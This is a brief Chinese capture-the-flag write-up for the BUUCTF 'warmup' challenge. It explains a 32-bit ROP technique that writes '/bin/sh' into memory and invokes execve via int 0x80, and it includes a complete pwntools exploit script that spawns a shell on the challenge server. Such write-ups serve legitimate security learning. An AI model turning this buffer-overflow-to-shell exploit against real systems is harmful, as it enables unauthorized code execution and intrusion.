buuctf warmup

函数很少我们需要控制寄存器的值来执行内核调用(int 80)

思路

先将字符串/bin/sh写入程序32位的程序用栈传递参数所以我们有充足的空间进行ROP然后跳回程序开始然后将再次读入/bin/sh然后控制好寄存器的值即打开execve的系统调用(这里函数最后的ret会使栈向上提了4个byte所以寄存器控制好了)~~
exp:

#!/usr/bin/python2
from pwn import *
local=1
if local==1:
    p=process('./warmup')
else:
    p=remote('node3.buuoj.cn',29418)
context.arch='i386'

def exp():
    p.recvuntil('2016!')
    payload='a'*0x20+p32(0x0804811D)+p32(0x080480D8)+p32(0)+p32(0x80491bc)+p32(0x80491bc)
    p.send(payload)
    sleep(0.5)
    p.send('/bin/sh'+'\x00')
    sleep(0.2)
    payload='a'*0x20+p32(0x0804811D)+p32(0x08048122)+p32(0)+p32(0x80491bc)+p32(0x804920c)
    p.send(payload)
    p.send('/bin/sh'+'\x00'*4)
    p.interactive()

if __name__=="__main__":
    exp()

你可能感兴趣的:(题目,BUUCTF)